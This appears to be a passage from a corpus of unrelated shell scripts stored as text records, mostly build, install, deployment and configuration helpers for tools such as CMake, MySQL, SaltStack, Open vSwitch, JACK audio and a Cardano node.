-F, '{print $2}' | sed -Ee 's/.*<(.*)>.*/\\1/g' | awk -F= '{print $2}')\n\tfor PAGE in $(seq 1 ${PAGES:-1}); do curl -H \"Authorization: token $TOKEN\" --silent \"https://api.github.com/repos/$1/tags?page=$PAGE\"; done | ruby -rjson -e 'puts JSON.parse(STDIN.read.gsub(/\\][\\n]*\\[/,\",\")).map{|e|e[\"name\"]}.reject{|e|[\"rc\",\"gitgui\",\"fips\",\"levitte\",\"-engine-\",\"beta\",\"ssleay\",\"master\",\"before\",\"after\",\"pre\",\"post\",\"rsaref\",\"alpha\",\"1000\",\"bundler-\"].any?{|s|e.downcase.include?(s)}}.map{|s|s.delete_prefix(\"v\").delete_prefix(\"OpenSSL_\").delete_prefix(\"openssl-\").gsub(\"_\",\".\")}' | fgrep -ve 3.0.0 | sort -V | tail -1\n}\nif [ ${RESTRICT:-cmake} = \"cmake\" ]; then\n\techo starting cmake…\n\tgetLatestTag Kitware/CMake > $ROOTDIR/shared/definitions/cmake_version\nelse\n\techo skipping cmake…\nfi\nif [ ${RESTRICT:-ccache} = \"ccache\" ]; then\n\techo starting ccache…\n\tgetLatest ccache/ccache > $ROOTDIR/shared/definitions/ccache_version\nelse\n\techo skipping ccache…\nfi\nif [ ${RESTRICT:-curl} = \"curl\" ]; then\n\techo starting curl…\n\tgetLatest curl/curl > $ROOTDIR/shared/definitions/curl_version\nelse\n\techo skipping curl…\nfi\nif [ ${RESTRICT:-geoip} = \"geoip\" ]; then\n\techo starting geoip…\n\tgetLatest maxmind/geoip-api-c > $ROOTDIR/shared/definitions/geoip_version\nelse\n\techo skipping geoip…\nfi\nif [ ${RESTRICT:-s3cmd} = \"s3cmd\" ]; then\n\techo starting s3cmd…\n\tgetLatest s3tools/s3cmd > $ROOTDIR/shared/definitions/s3cmd_version\nelse\n\techo skipping s3cmd…\nfi\nif [ ${RESTRICT:-zstd} = \"zstd\" ]; then\n\techo starting zstd…\n\tgetLatest facebook/zstd > $ROOTDIR/shared/definitions/zstd_version\nelse\n\techo skipping zstd…\nfi\nif [ ${RESTRICT:-rubygems} = \"rubygems\" ]; then\n\techo starting rubygems…\n\tgetLatestTag rubygems/rubygems > $ROOTDIR/shared/definitions/rubygems_version\nelse\n\techo skipping rubygems…\nfi\nif [ ${RESTRICT:-git} = \"git\" ]; then\n\techo starting git…\n\tgetLatestTag git/git > $ROOTDIR/shared/definitions/git_version\nelse\n\techo skipping git…\nfi\nif [ ${RESTRICT:-zlib} = \"zlib\" ]; then\n\techo starting zlib…\n\tgetLatestTag madler/zlib > $ROOTDIR/shared/definitions/zlib_version\nelse\n\techo skipping zlib…\nfi\nif [ ${RESTRICT:-openssl} = \"openssl\" ]; then\n\techo starting openssl…\n\tgetLatestTag openssl/openssl > $ROOTDIR/shared/definitions/openssl_version\nelse\n\techo skipping openssl…\nfi\nif [ ${RESTRICT:-pkg-config} = \"pkg-config\" ]; then\n\techo starting pkg-config…\n\tcurl --silent \"https://gitlab.freedesktop.org/api/v4/projects/953/repository/tags\" | ruby -rjson -e 'puts JSON.parse(STDIN.read).first[\"name\"].split(\"-\").last' > $ROOTDIR/shared/definitions/pkg_config_version\nelse\n\techo skipping pkg-config…\nfi\nif [ ${RESTRICT:-gnupg} = \"gnupg\" ]; then\n\techo 'starting gnupg & associated…'\n\tcurl --silent \"https://www.gnupg.org/download/index.html\" | \\\n\t\truby -rnokogiri -e 'puts Nokogiri::HTML(STDIN.read).css(\"#text-1-1 > table > tbody > tr > td:nth-child(-n+2)\").map{|e|e.text}.each_slice(2).reject{|elts| elts.first.include?(\" \") && elts.first != \"GnuPG (LTS)\" }.map{|elts|elts.join(\" \").gsub(\" (LTS)\",\"\")}' | \\\n\t\ttee \\\n\t\t\t>(fgrep GnuPG | awk '{print \"gnupg_version\",$2}' | write_version) \\\n\t\t\t>(fgrep Libassuan | awk '{print \"libassuan_version\",$2}' | write_version) \\\n\t\t\t>(fgrep Libgcrypt | awk '{print \"libgcrypt_version\",$2}' | write_version) \\\n\t\t\t>(fgrep Libgpg-error | awk '{print \"libgpg_error_version\",$2}' | write_version) \\\n\t\t\t>(fgrep Libksba | awk '{print \"libksba_version\",$2}' | write_version) \\\n\t\t\t>(fgrep nPth | awk '{print \"npth_version\",$2}' | write_version) \\\n\t\t\t>(fgrep Pinentry | awk '{print \"pinentry_version\",$2}' | write_version) \\\n\t\t\t>(fgrep ntbTLS | awk '{print \"ntbtls_version\",$2}' | write_version) \\\n\t\t\t>/dev/null\nelse\n\techo skipping gnupg…\nfi\nif [ ${RESTRICT:-ruby} = \"ruby\" ]; then\n\techo starting ruby versions…\n\texport OLDEST_RUBY=2.4\n\tcurl --silent \"https://www.ruby-lang.org/en/downloads/releases/\" | ruby -rnokogiri -e 'puts Nokogiri::HTML(STDIN.read).css(\"table.release-list > tr > td:first-child\").map{|e|e.text}.reject{|e|e.include?(\"-\")}.sort.map{|e|e.split[1]}.chunk{|e|e.split(\".\")[0..1].join(\".\").to_f}.select{|major,minors|major >= ENV[\"OLDEST_RUBY\"].to_f}.map{|major,minors|major.to_s + \".\" + minors.map{|e|e.split(\".\").last.to_i}.sort.last.to_s}' > $ROOTDIR/shared/definitions/ruby_versions\nelse\n\techo skipping ruby…\nfi\nif [ ${RESTRICT:-libiconv} = \"libiconv\" ]; then\n\techo starting libiconv…\n\tcurl --silent \"https://www.gnu.org/software/libiconv/\" | ruby -rnokogiri -e 'puts Nokogiri::HTML(STDIN.read).at_css(\"a[href^=\\\"https://ftp.gnu.org/pub/gnu/libiconv/libiconv-\\\"]\").text.split(\"/\").last.split(\"-\").last.delete_suffix(\".tar.gz\")' > $ROOTDIR/shared/definitions/libiconv_version\nelse\n\techo skipping libiconv…\nfi\nif [ ${RESTRICT:-pcre} = \"pcre\" ]; then\n\techo starting pcre…\n\tcurl --silent \"https://www.pcre.org/\" | ruby -rnokogiri -e 'puts Nokogiri::HTML(STDIN.read).at_css(\"h2 + p + p > b\").text' > $ROOTDIR/shared/definitions/pcre_version\nelse\n\techo skipping pcre…\nfi"} {"text": "#!/bin/sh -e\n\nDIR=$PWD\n\nconfig_enable () {\n\tret=$(./scripts/config --state ${config})\n\tif [ ! \"x${ret}\" = \"xy\" ] ; then\n\t\techo \"Setting: ${config}=y\"\n\t\t./scripts/config --enable ${config}\n\tfi\n}\n\nconfig_disable () {\n\tret=$(./scripts/config --state ${config})\n\tif [ ! \"x${ret}\" = \"xn\" ] ; then\n\t\techo \"Setting: ${config}=n\"\n\t\t./scripts/config --disable ${config}\n\tfi\n}\n\nconfig_enable_special () {\n\ttest_module=$(cat .config | grep ${config} || true)\n\tif [ \"x${test_module}\" = \"x# ${config} is not set\" ] ; then\n\t\techo \"Setting: ${config}=y\"\n\t\tsed -i -e 's:# '$config' is not set:'$config'=y:g' .config\n\tfi\n\tif [ \"x${test_module}\" = \"x${config}=m\" ] ; then\n\t\techo \"Setting: ${config}=y\"\n\t\tsed -i -e 's:'$config'=m:'$config'=y:g' .config\n\tfi\n}\n\nconfig_module_special () {\n\ttest_module=$(cat .config | grep ${config} || true)\n\tif [ \"x${test_module}\" = \"x# ${config} is not set\" ] ; then\n\t\techo \"Setting: ${config}=m\"\n\t\tsed -i -e 's:# '$config' is not set:'$config'=m:g' .config\n\telse\n\t\techo \"$config=m\" >> .config\n\tfi\n}\n\nconfig_module () {\n\tret=$(./scripts/config --state ${config})\n\tif [ ! \"x${ret}\" = \"xm\" ] ; then\n\t\techo \"Setting: ${config}=m\"\n\t\t./scripts/config --module ${config}\n\tfi\n}\n\nconfig_string () {\n\tret=$(./scripts/config --state ${config})\n\tif [ ! \"x${ret}\" = \"x${option}\" ] ; then\n\t\techo \"Setting: ${config}=\\\"${option}\\\"\"\n\t\t./scripts/config --set-str ${config} \"${option}\"\n\tfi\n}\n\nconfig_value () {\n\tret=$(./scripts/config --state ${config})\n\tif [ ! \"x${ret}\" = \"x${option}\" ] ; then\n\t\techo \"Setting: ${config}=${option}\"\n\t\t./scripts/config --set-val ${config} ${option}\n\tfi\n}\n\ncd ${DIR}/KERNEL/\n\n#Nuke DSA SubSystem: 2020.02.20\nconfig=\"CONFIG_HAVE_NET_DSA\" ; config_disable\nconfig=\"CONFIG_NET_DSA\" ; config_disable\n\ncd ${DIR}/"} {"text": "#!/bin/bash\n\nif [ -z `which salt-minion` ]\nthen\n curl -o install_salt.sh -L https://bootstrap.saltstack.com\n sudo sh install_salt.sh -M\nfi\nsudo mkdir -p /srv/salt\nsudo mkdir -p /srv/pillar\nsudo mkdir -p /srv/formulas\nsudo cp -r salt/* /srv/salt\nsudo cp -r pillar/* /srv/pillar\nsudo cp minion.conf /etc/salt/minion.d/minion.conf\nsudo salt-call --local state.highstate"} {"text": "#!/bin/bash\npwd\nls\ncd /\nuvicorn --host=0.0.0.0 --port 8000 app.main:app --reload"} {"text": "#!/bin/tcsh -f\n#SBATCH --time=300:00:00\n#SBATCH --mem=250000\n#SBATCH --output=results\n#SBATCH --nodes=1\n\nset echo\nsetenv FSLDIR /data/bswift-0/software/fsl6.0.1\nsource ${FSLDIR}/etc/fslconf/fsl.csh\n# Must module load python and gcc\n\nsetenv SUBJECTS_DIR /data/bswift-1/dcallow\n#set subj= ($argv[1]) \\\n\nmkdir ${SUBJECTS_DIR}/CONNECTOME\ncd ${SUBJECTS_DIR}/CONNECTOME/\nmkdir tbss\ncd ${SUBJECTS_DIR}/CONNECTOME/tbss\n\n# Copy over FA images\n/bin/cp ${SUBJECTS_DIR}/CONNECTOME/dwi/${subj}/T1w/Diffusion/FA.nii.gz ${SUBJECTS_DIR}/CONNECTOME/tbss/${subj}.nii.gz\n\n\n# Run separately after copying over all FA images - Then comment out set subj part\n#fslreorient2std *.nii.gz\n#tbss_1_preproc *.nii.gz\n#tbss_2_reg -T\n#tbss_3_postreg -S\n#tbss_4_prestats 0.2\n\n# Non FA tbss\n\ncd ${SUBJECTS_DIR}/CONNECTOME/tbss\n\n# mkdir of any folder type you plan to analyze in addition to FA\n# mkdir\n# Copy over all files other files\n# /bin/cp ${SUBJECTS_DIR}/CONNECTOME/dwi/${subj}/T1w/Diffusion/MD.nii.gz ${SUBJECTS_DIR}/CONNECTOME/tbss/${subj}.nii.gz\nnon_FA_tbss {folder}"} {"text": "#!/bin/sh\n\novs-ofctl del-flows ha1 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha2 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha3 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha4 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha5 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha6 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha7 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha8 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha9 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha10 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha11 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha12 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha13 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha14 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha15 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha16 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha17 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha18 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha19 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha20 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha188 udp,tp_src=53,in_port=1\n#ovs-ofctl del-flows ha189 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha190 udp,tp_src=53,in_port=1\novs-ofctl del-flows ha1 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha2 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha3 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha4 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha5 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha6 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha7 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha8 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha9 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha10 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha11 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha12 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha13 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha14 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha15 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha16 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha17 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha18 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha19 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha20 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha188 udp,tp_dst=53,in_port=1\n#ovs-ofctl del-flows ha189 udp,tp_dst=53,in_port=1\novs-ofctl del-flows ha190 udp,tp_dst=53,in_port=1"} {"text": "chudur-budur/visualizationbin/release.sh\n#!/bin/bash\n\nshopt -s extglob ;\ncpath=$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd ) ;\n\n# run it from one folder up, ./bin/release.sh\n\nmode=0;\n\n_usage()\n{\n\t# example: ./maprun -s -i -n 30 -c \"ls -al\"\n\tprintf '%s\\n\\n' \"Usage: ./sh/release [-cbitp]\" ;\n\t1>&2; exit 1 ;\n}\n\nwhile getopts \"cbitp\" o; do\n\tcase \"${o}\" in\n\t\tc)\n\t\t\tmode=0; # echo \"hit -c mode: 0\";\n\t\t\t;;\n\t\tb)\n\t\t\tmode=1; # echo \"hit -b mode: 1\";\n\t\t\t;;\n i)\n mode=2\n ;;\n t) \n mode=3\n ;;\n p) \n mode=4\n ;;\n\t\t*)\n\t\t\techo \"error: some of the parameters are missing, hence exiting ...\";\n\t\t\t_usage\n\t\t\t;;\n\tesac\ndone\nshift $((OPTIND-1))\n\nif [[ $mode == 0 ]]; then\n # -c, clean\n echo \"cleaning build.\"\n rm -rf build;\n echo \"cleaning dist.\"\n rm -rf dist;\n echo \"cleaning pviz.egg-info\"\n rm -rf pviz.egg-info;\nelif [[ $mode == 1 ]]; then\n # -b, build\n python3 setup.py sdist bdist_wheel\nelif [[ $mode == 2 ]]; then\n # -i, install local\n python3 setup.py install\nelif [[ $mode == 3 ]]; then\n # -t, publish on pypi-test\n python3 -m twine upload --repository testpypi dist/* --verbose\nelif [[ $mode == 4 ]]; then\n # -p, publish on pypi\n python3 -m twine upload --repository pypi dist/* --verbose\nfi"} {"text": "#/bin/sh\n\nset -x\ndir=\"operate\"\nsh ./${dir}/kill.sh | tee ./${dir}/kill.log"} {"text": "#!/bin/sh\nlocaluser=`cat \"$HOME\"/.secret/signing.key`\nrecipient=`cat \"$HOME\"/.secret/encryption.key`\nexec gpg2 --batch --compress-algo none --encrypt --local-user $localuser --no-encrypt-to --quiet --recipient $recipient --sign --use-agent --yes"} {"text": "#!/usr/bin/env bash\n\nif ${USE_CONDA:-}; then\n . tools/venv/bin/activate\nfi\n\nset -euo pipefail\n\n# TODO: remove files from this list!\nflake8_black_list=\"\\\nespnet/asr/asr_utils.py\nespnet/asr/chainer_backend/asr.py\nespnet/asr/pytorch_backend/asr.py\nespnet/bin/asr_enhance.py\nespnet/lm/chainer_backend/extlm.py\nespnet/lm/chainer_backend/lm.py\nespnet/lm/lm_utils.py\nespnet/lm/pytorch_backend/extlm.py\nespnet/nets/chainer_backend/ctc.py\nespnet/nets/chainer_backend/deterministic_embed_id.py\nespnet/nets/chainer_backend/nets_utils.py\nespnet/nets/chainer_backend/rnn/attentions.py\nespnet/nets/chainer_backend/rnn/decoders.py\nespnet/nets/chainer_backend/rnn/encoders.py\nespnet/nets/chainer_backend/rnn/training.py\nespnet/nets/ctc_prefix_score.py\nespnet/nets/pytorch_backend/ctc.py\nespnet/nets/pytorch_backend/frontends/beamformer.py\nespnet/nets/pytorch_backend/frontends/dnn_beamformer.py\nespnet/nets/pytorch_backend/frontends/dnn_wpe.py\nespnet/nets/pytorch_backend/frontends/feature_transform.py\nespnet/nets/pytorch_backend/frontends/frontend.py\nespnet/nets/pytorch_backend/frontends/mask_estimator.py\nespnet/nets/pytorch_backend/nets_utils.py\nespnet/nets/pytorch_backend/rnn/attentions.py\nespnet/nets/pytorch_backend/rnn/decoders.py\nespnet/nets/pytorch_backend/rnn/encoders.py\nespnet/nets/pytorch_backend/streaming/segment.py\nespnet/nets/pytorch_backend/streaming/window.py\nespnet/nets/pytorch_backend/transformer/plot.py\nespnet/nets/pytorch_backend/wavenet.py\nespnet/transform/add_deltas.py\nespnet/transform/channel_selector.py\nespnet/transform/cmvn.py\nespnet/transform/functional.py\nespnet/transform/perturb.py\nespnet/transform/spec_augment.py\nespnet/transform/spectrogram.py\nespnet/transform/transform_interface.py\nespnet/transform/transformation.py\nespnet/transform/wpe.py\nespnet/utils/check_kwargs.py\nespnet/utils/cli_readers.py\nespnet/utils/cli_utils.py\nespnet/utils/cli_writers.py\nespnet/utils/deterministic_utils.py\nespnet/utils/dynamic_import.py\nespnet/utils/fill_missing_args.py\nespnet/utils/io_utils.py\nespnet/utils/spec_augment.py\nespnet/utils/training/batchfy.py\nespnet/utils/training/evaluator.py\nespnet/utils/training/iterators.py\nespnet/utils/training/tensorboard_logger.py\nespnet/utils/training/train_utils.py\n\"\n\nn_blacklist=$(wc -l <<< \"${flake8_black_list}\")\nn_all=$(find espnet -name \"*.py\" | wc -l)\nn_ok=$((n_all - n_blacklist))\ncov=$(echo \"scale = 4; 100 * ${n_ok} / ${n_all}\" | bc)\necho \"flake8-docstrings ready files coverage: ${n_ok} / ${n_all} = ${cov}%\"\n\n# --extend-ignore for wip files for flake8-docstrings\nflake8 --show-source --extend-ignore=D test utils doc ${flake8_black_list} espnet2 test/espnet2 egs/*/*/local/*.py\n\n# white list of files that should support flake8-docstrings\nflake8 --show-source espnet --exclude=${flake8_black_list//$'\\n'/,}"} {"text": "#! /usr/bin/env bash\n\nkubectl cp pinot_schema_configuration/customers-table.json datastorage/pinot-controller-0:/opt/pinot \nkubectl cp pinot_schema_configuration/customers-schema.json datastorage/pinot-controller-0:/opt/pinot\n\nkubectl exec pinot-controller-0 -n datastorage -i -t -- bash"} {"text": "#!/bin/bash\n\nTEST_NAME=\"Check that outbound span is created when forwarding request with mod_proxy\"\n\n. tools.sh\n\nsetup_test () {\n\nEXTRA_HTTPD_MODS=\"proxy proxy_http\"\n\ncat << EOF > ${HTTPD_CONFIG}\nOpenTelemetryExporter file\nOpenTelemetryPath ${OUTPUT_SPANS}\nOpenTelemetryPropagators trace-context\nOpenTelemetryIgnoreInbound Off\n\n\n ProxyPass \"/bar\" \"${ENDPOINT_PROXY}/hello-world\"\n ProxyPassReverse \"/bar\" \"${ENDPOINT_PROXY}/hello-world\"\n \nEOF\n\n}\n\nTRACE_VER=\"00\"\nTRACE_ID=\"ffeeddccbbaa99887766554433221100\"\nTRACE_PARENT=\"0102030405060708\"\nTRACE_FLAGS=\"01\"\n\nTRACE_STATE=\"foo=bar\"\n\nHEADER_1=\"traceparent: ${TRACE_VER}-${TRACE_ID}-${TRACE_PARENT}-${TRACE_FLAGS}\"\nHEADER_2=\"tracestate: ${TRACE_STATE}\"\n\nrun_test() {\n ${CURL_CMD} -H \"${HEADER_1}\" ${ENDPOINT_URL} || fail \"Unable to download main page\"\n}\n\n# this is what will be returned via proxy (this is called from netcat)\nproxy () {\n STATUS=\"200 OK\"\n\n echo \"---${REQ_METHOD}--- ${REQ_URL} \"`date '+%H:%M:%S (%s)'` > /dev/tty\n env | grep -i hdr > /dev/tty\n echo '---------' > /dev/tty\n\n # extract everything before dash\n RECV_STATE=${HDR_TRACESTATE%%-*}\n\n if [ \"${HDR_TRACESTATE}\" != \"${TRACE_STATE}\" ]; then\n echo \"Wrong header for tracer test\" > /dev/tty\n STATUS=\"401 Test failed\"\n fi\n\n echo -e \"HTTP/1.1 ${STATUS}\\r\\nConnection: close\\r\\n\\r\\n\"\n\n date\n sleep 1\n echo \"traceparent Header was: ${HDR_TRACEPARENT}\"\n echo \"tracestate Header was: ${HDR_TRACESTATE}\"\n date\n}\n\nrun_test() {\n curl --fail -v -H \"${HEADER_1}\" -H \"${HEADER_2}\" ${ENDPOINT_URL}/bar || failHttpd \"Unable to download page with proxy enabled\"\n}\n\n\ncheck_results() {\n echo \"Checking that exactly two spans were created (client one and server one)\"\n count '{' 2 # total two spans = one incoming and one outgoing\n\n echo \"Checking that trace_id was properly parsed\"\n check 'trace_id' ${TRACE_ID}\n\n # there should be at least one span type client\n grep \"span kind : Client\" ${OUTPUT_SPANS} || fail \"Span kind client not found\"\n # there should be at least one span created (server one) with set parent_span_id as what we've sent\n grep \"parent_span_id: ${TRACE_PARENT}\" ${OUTPUT_SPANS} || fail \"Inbound propagation failed - not found parent span_id ${TRACE_PARENT}\"\n # now exclude it and find remaning one\n PROXY_SPAN_ID=`grep -v \"parent_span_id: ${TRACE_PARENT}\" ${OUTPUT_SPANS} | grep \"parent_span_id:\" | cut -d ':' -f 2 || fail \"Inbound propagation failed - not found parent span_id\"`\n # remaining parent_span_id should be span_id of the server one\n grep \"span_id :${PROXY_SPAN_ID}\" ${OUTPUT_SPANS} || fail \"Outbound propagation failed - it has not set proper parent span\"\n}\n\nrun $@"} {"text": "terraform-and-helm/iap-connector/scripts/post-deployment.sh\n#!/usr/bin/env bash\n\nset -o errexit\nset -o nounset\nset -o xtrace\nset -o pipefail\n\n# this policy is created through terraform, we attach it with gcloud to https proxies since gke ingresses does not support that yet\n# see here https://github.com/kubernetes/ingress-gce/issues/246 for more information\nSSL_POLICY_NAME=\"example-ssl-policy\"\nproject_id=\"${1}\"\n\n# update every target https proxy created by gke ingress to use ssl policy 1.2 restricted \nfor target_https_proxy in $(set -e; gcloud compute target-https-proxies list --filter \"description:ingress-name\" --format=\"value(name)\" --project \"${project_id}\"); do\n gcloud compute target-https-proxies update \"${target_https_proxy}\" --ssl-policy \"${SSL_POLICY_NAME}\" --project \"${project_id}\";\ndone"} {"text": "mysql/mysql_bootstrap.sh0\n#! /usr/bin/env bash\n\n# mysqld_safe --datadir=$MSDATA &\nmysqld_safe &\n\necho \"Executing Mysql DBMS configuration changes.\"\nsleep 10\n\nread -r -d '' ROOT_CONFIG << EOF\nALTER USER 'root'@'localhost' IDENTIFIED BY '${root_pass}';\nFLUSH PRIVILEGES;\nEOF\n\nmysql \\\n\t\t--verbose \\\n\t\t--skip-password \\\n\t\t--user=root \\\n\t\t--execute \"${ROOT_CONFIG}\"\n\nread -r -d '' USER_CONFIG << EOF\nCREATE USER '${user}'@'%' IDENTIFIED BY '${pass}';\nGRANT ALL PRIVILEGES ON *.* TO '${user}'@'%';\nFLUSH PRIVILEGES;\nEOF\n\nmysql \\\n\t\t--verbose \\\n\t\t--user=root \\\n\t\t--password=${} \\\n\t\t--execute \"${USER_CONFIG}\"\n\necho \"Executing Mysql DBMS configuration changes complete.\"\n\nmysqladmin \\\n\t\t--verbose \\\n\t\t--user=root \\\n\t\t--password=${root_} \\\n\t\tshutdown"} {"text": "#!/bin/sh\n# wait-for-it.sh\n\nset -e\n\nhost=\"$1\"\nshift\ncmd=\"python3 manage.py migrate\"\nUSER=root\nPASSWARD=\n\nuntil mysql -h \"$host\" -u $USER -p $PASSWARD-e \"show databases;\" >/dev/null;do\n >&2 echo \"Mysql is unavailable - sleeping\"\n sleep 1\ndone\n>&2 echo \"Mysql is up - executing command\"\nexec $cmd"} {"text": "#!/bin/bash\n\ngit --version\n\nis_git=$?\n\n# Install git if missing\nif [ $is_git -ne 0 ]\nthen\n echo \"Installing git...\"\n sudo apt-get install -y git\nfi\n\nmkdir -p third_party\ncd third_party\n\n\n# get libs\ngit clone https://github.com/IvayloTsankov/slog\n\n#get png++\nmkdir -p temp\ncd temp\nwget \"http://download.savannah.gnu.org/releases/pngpp/png++-0.2.9.tar.gz\"\ntar -zxf png++-0.2.9.tar.gz\ncd *\nmake\nmake install PREFIX=../\ncd ..\nmv include/png++ ../\ncd ..\nrm -rf temp\n\n# Install package config tool needed by Makefile\npkg-config --version\n\nis_pkg=$?\nif [ $is_pkg -ne 0 ]\nthen\n echo \"Installing pkg-config...\"\n sudo apt-get install -y pkg-config\nfi\n\n\n\n# create folder for images\ncd ..\nmkdir -p images"} {"text": "#!/bin/bash\nexport DISPLAY=:0\n\nkillall chromium-browser\nkillall firefox\nkillall node\n\nsleep 2\n/usr/bin/jackd -dalsa -dhw:LP16,0 -r44100 -p1024 -n2 &\nsleep 5\npactl load-module module-jack-sink channels=8\nsleep 2\npactl load-module module-jack-sink channels=8\nsleep 2\npacmd set-default-sink 2\nsleep 2\n\nnode /opt/wavespace/services/mixer/jack.js\nsleep 2\nnode /opt/wavespace/services/mixer/mixer.js &\nsleep 5\n#inputs to pure data\njack_connect \"PulseAudio JACK Sink:front-left\" pure_data:input0\njack_connect \"PulseAudio JACK Sink:front-right\" pure_data:input1\njack_connect \"PulseAudio JACK Sink:rear-left\" pure_data:input2\njack_connect \"PulseAudio JACK Sink:rear-right\" pure_data:input3\njack_connect \"PulseAudio JACK Sink:front-center\" pure_data:input4\njack_connect \"PulseAudio JACK Sink:lfe\" pure_data:input5\njack_connect \"PulseAudio JACK Sink:side-left\" pure_data:input6\njack_connect \"PulseAudio JACK Sink:side-right\" pure_data:input7\n\n# outputs from pure data\njack_connect pure_data:output0 system:playback_1 \njack_connect pure_data:output1 system:playback_2 \njack_connect pure_data:output2 system:playback_3 \njack_connect pure_data:output3 system:playback_4 \njack_connect pure_data:output4 system:playback_5 \njack_connect pure_data:output5 system:playback_6 \njack_connect pure_data:output6 system:playback_7 \njack_connect pure_data:output7 system:playback_8 \njack_connect pure_data:output8 system:playback_9 \njack_connect pure_data:output9 system:playback_10 \njack_connect pure_data:output10 system:playback_11 \njack_connect pure_data:output11 system:playback_12 \njack_connect pure_data:output12 system:playback_13 \njack_connect pure_data:output13 system:playback_14 \njack_connect pure_data:output14 system:playback_15 \njack_connect pure_data:output15 system:playback_16 \n\n\n\nunclutter &\nxset -dpms\nxset s off\n# xinput map-to-output 11 HDMI-2\n# xinput map-to-output 14 HDMI-1\n\n# cp /opt/wavespace/services/devilspie_chrome.ds /home/timo/.devilspie/\n# cp /opt/wavespace/services/devilspie_firefox.ds /home/timo/.devilspie/\n\n#!/bin/bash\ni=0\nfor id in `xinput --list | grep \"ILITEK ILITEK-TP\" | grep -v \"Mouse\" |perl -ne 'while (m/id=(\\d+)/g){print \"$1\\n\";}'`; do\n\n echo \"setting device ID $id\"\n\n if [ $i == 0 ]\n \tthen\n \t\txinput map-to-output $id HDMI-1\n \telse\n \t\txinput map-to-output $id HDMI-2\n fi\n\n ((i++))\ndone\n\n#while true; do\n\tfirefox --kiosk http://localhost/soundplayer/soundplayer.html &\n\tsleep 2\n\tchromium-browser --noerrdialogs --incognito --kiosk --window-position=0,0 http://localhost/space/space.html &\n # sleep 2\n\t#devilspie &\n#done\n\n\n\n\n\nwhile :\ndo\n\techo \"all started\"\n\tsleep 3\n\tnode /opt/wavespace/services/hardcontroller/serial2mqtt.js\ndone"} {"text": "1-10\n#!/bin/bash\n\nexport PATH=$PATH:{{ ghc_bin_path }}\nexport LD_LIBRARY_PATH=\"/usr/local/lib:$LD_LIBRARY_PATH\"\nexport PKG_CONFIG_PATH=\"/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\ncd {{ cardano_src_path }}/cardano-node\ngit fetch --all --recurse-submodules --tags\ngit checkout tags/{{ cardano_node_version }}\n\ncabal configure --with-compiler=ghc-{{ ghc_version }}\n\necho \"package cardano-crypto-praos\" >> cabal.project.local\necho \" flags: -external-libsodium-vrf\" >> cabal.project.local\n\ncabal build all\n\nexport PATH=\"{{ cardano_bin_path }}/:$PATH\""} {"text": "#!/bin/bash\nset -eu\n\nPREFIX=$1\nBIN=$2\nTEST_REPORTS=$3\n\nif [[ \"$#\" -eq 3 ]]; then\n\n rm -Rf \"${PREFIX:?}/$BIN\"\n rm -Rf \"${PREFIX:?}/$TEST_REPORTS\"\n rm -f c.out\n\nelse\n echo \"Illegal number of arguments, please run with ./clean.sh \"\nfi"} {"text": "raivivek/hubward1-10\n#!/usr/bin/bash\nHERE=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n(\n cd $HERE/../raw-data\n wget $URL\n # process URL here....\n)"} {"text": "summon.sh\n#!/bin/bash\nstart=$1\ndepth=$2\ninput=\"$HOME/MLD/urls.txt\"\nregex='*\\/[0-9]{4}\\/[0-9]{2}\\/[0-9]{2}\\/[a-z/-]+.html'\necho $1 > urls.txt\necho \"filler\" > scan.txt\necho \"\" > temp.txt\nCOUNTER=0\nwhile [ $COUNTER -lt $depth ]; do\n\techo $COUNTER\n\twhile IFS= read -r line\n\tdo\n#\t\techo \"test\"\n\t\tif grep -Fxq \"$line\" scan.txt\n\t\tthen\n\t\t\tcontinue\n#\t\t\techo \"1\"\n\t\telse\t\n#\t\t\techo \"2\"\n\t\t\techo \"$line\" >> scan.txt\n#\t\t\techo \"$line\"\n#\t\t\techo \"\\n\"\n\t\t\techo \"$line\" | xargs -n1 curl -kL | grep -Eo '\\/[0-9]{4}\\/[0-9]{2}\\/[0-9]{2}\\/[a-z\\/-]+\\.html' | awk '$0=\"https://www.cnn.com\"$0' >> temp.txt\n#\t\t\techo \"done\"\n\t\tfi\n\tdone < $input\n\twhile IFS= read -r line\n\tdo\n\t\techo 